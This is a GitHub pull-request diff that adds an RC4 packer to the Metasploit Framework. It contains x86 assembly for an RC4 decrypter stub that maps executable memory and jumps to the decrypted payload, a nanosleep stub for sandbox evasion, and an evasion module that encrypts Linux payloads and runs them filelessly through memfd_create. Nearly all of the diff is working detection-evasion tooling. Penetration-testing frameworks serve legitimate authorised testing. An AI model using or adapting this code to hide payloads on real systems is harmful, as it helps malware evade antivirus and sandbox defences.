Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
148 changes: 148 additions & 0 deletions lib/msf/core/payload/linux/x86/rc4_decrypter.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
module Msf::Payload::Linux::X86::Rc4Decrypter

def rc4_decrypter_stub
asm = <<-ASM
_start:
jmp _get_data_addr

_got_data_addr:
pop ebp

; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0)
xor eax, eax
push eax
push 0xffffffff
push 0x22
push 7
mov eax, dword [ebp+4]
push eax
xor eax, eax
push eax
mov al, 0x5a
mov ebx, esp
int 0x80
add esp, 24
push eax

; Allocate S-box (256 bytes) on stack
sub esp, 256
mov edi, esp

; Initialize S-box: S[i] = i for i = 0..255
xor ecx, ecx
_init_sbox:
mov byte [edi+ecx], cl
inc cl
jnz _init_sbox

; RC4 Key Scheduling Algorithm (KSA)
xor esi, esi
xor ebx, ebx

_ksa_loop:

movzx eax, byte [edi+esi]
add ebx, eax

mov eax, esi
xor edx, edx
push ebx
mov ecx, dword [ebp]
div ecx
pop ebx
lea ecx, [ebp+12]
movzx eax, byte [ecx+edx]
add ebx, eax
and ebx, 0xff

movzx eax, byte [edi+esi]
movzx ecx, byte [edi+ebx]
mov byte [edi+esi], cl
mov byte [edi+ebx], al

inc esi
cmp esi, 256
jb _ksa_loop

;RC4 Pseudo-Random Generation Algorithm (PRGA)
xor esi, esi
xor ebx, ebx
xor ecx, ecx

_prga_loop:

inc esi
and esi, 0xff

movzx eax, byte [edi+esi]
add ebx, eax
and ebx, 0xff

movzx eax, byte [edi+esi]
movzx edx, byte [edi+ebx]
mov byte [edi+esi], dl
mov byte [edi+ebx], al

add eax, edx
and eax, 0xff
movzx eax, byte [edi+eax]

push ebx
lea edx, [ebp+268]
xor al, byte [edx+ecx]
mov edx, dword [esp+260]
mov byte [edx+ecx], al
pop ebx

inc ecx
cmp ecx, dword [ebp+8]
jb _prga_loop

add esp, 256 ; deallocate S-box
pop eax ; eax = output buffer address
jmp eax ; jump to decrypted payload

_get_data_addr:
call _got_data_addr

; Data section layout (populated by rc4_decrypter):
; offset +0: key_size (4 bytes)
; offset +4: payload_size (4 bytes)
; offset +8: encrypted_size (4 bytes)
; offset +12: key_data (256 bytes)
; offset +268: encrypted_data (variable length)
ASM

Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end

def rc4_decrypter(opts = {})
key = opts[:key] || Rex::Text.rand_text(16)
payload = opts[:data] || raise(ArgumentError, "Encrypted data required")

encrypted_data = Rex::Crypto::Rc4.rc4(key, payload)

stub = rc4_decrypter_stub.dup
code_size = stub.length

key_size_offset = code_size
payload_size_offset = code_size + 4
encrypted_size_offset = code_size + 8
key_data_offset = code_size + 12
encrypted_data_offset = code_size + 268

stub << "\x00" * 268

stub[key_size_offset, 4] = [key.length].pack('V')
stub[payload_size_offset, 4] = [payload.length].pack('V')
stub[encrypted_size_offset, 4] = [encrypted_data.length].pack('V')
stub[key_data_offset, 256] = key.ljust(256, "\x00")

stub + encrypted_data
end

def stub_size
rc4_decrypter_stub.length + 268
end

end
46 changes: 46 additions & 0 deletions lib/msf/core/payload/linux/x86/sleep_evasion.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
module Msf::Payload::Linux::X86::SleepEvasion

STUB_SLEEP_SECONDS_OFFSET = 0x02

def sleep_stub
stub = ""

# 0x00: jmp 0x12 ; jump forward to code (skip data section)
stub << [0xeb, 0x10].pack('C*')
# 0x02: timespec.tv_sec (4 bytes) ; sleep duration in seconds (patched later)
stub << "\x00\x00\x00\x00"
# 0x06: timespec.tv_nsec (4 bytes) ; nanoseconds component (always 0)
stub << "\x00\x00\x00\x00"
# 0x0a: reserved (8 bytes) ; alignment padding
stub << "\x00\x00\x00\x00\x00\x00\x00\x00"
# 0x12: call 0x17 ; push next instruction address to stack
stub << [0xe8, 0x00, 0x00, 0x00, 0x00].pack('C*')
# 0x17: pop ebx ; ebx = current EIP
stub << [0x5b].pack('C*')
# 0x18: sub ebx, 0x15 ; ebx -> timespec structure (ebx - 21 bytes)
stub << [0x83, 0xeb, 0x15].pack('C*')
# 0x1b: xor ecx, ecx ; ecx = NULL (remaining time pointer)
stub << [0x31, 0xc9].pack('C*')
# 0x1d: mov eax, 162 ; syscall number for nanosleep (0xa2)
stub << [0xb8, 0xa2, 0x00, 0x00, 0x00].pack('C*')
# 0x22: int 0x80 ; invoke syscall
stub << [0xcd, 0x80].pack('C*')
# 0x24: execution continues to appended payload

stub
end

def sleep_evasion(opts = {})
seconds = opts[:seconds] || 0
return "" if seconds == 0

stub = sleep_stub.dup
stub[STUB_SLEEP_SECONDS_OFFSET, 4] = [seconds].pack('V')
stub
end

def sleep_stub_size
36
end

end
55 changes: 55 additions & 0 deletions modules/evasion/linux/x86_rc4_packer.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Evasion

include Msf::Payload::Linux::X86::Rc4Decrypter
include Msf::Payload::Linux::X86::ElfLoader
include Msf::Payload::Linux::X86::SleepEvasion

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux RC4 Packer with In-Memory Execution (x86)',
'Description' => %q{
This evasion module packs Linux payloads using RC4 encryption
and executes them from memory using memfd_create for fileless execution.

Features:
- RC4 encryption with configurable key size
- Fileless execution via memfd_create
},
'Author' => ['Massimo Bertocchi'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'Targets' => [['Linux x86', {}]],
'DefaultTarget' => 0
)
)

register_options([
OptString.new('FILENAME', [true, 'Output filename', 'payload.elf']),
OptInt.new('SLEEP_TIME', [false, 'Sleep Time for Sandbox Evasion', 0]),
])
end

def run

raw_payload = payload.encoded
unless raw_payload && raw_payload.length > 0
fail_with(Failure::BadConfig, "Failed to generate payload")
end

elf_payload = Msf::Util::EXE.to_linux_x86_elf(framework, raw_payload)
complete_loader = sleep_evasion( seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload))
final_elf = Msf::Util::EXE.to_linux_x86_elf(framework, complete_loader)

File.binwrite(datastore['FILENAME'], final_elf)
File.chmod(0755, datastore['FILENAME'])

end
end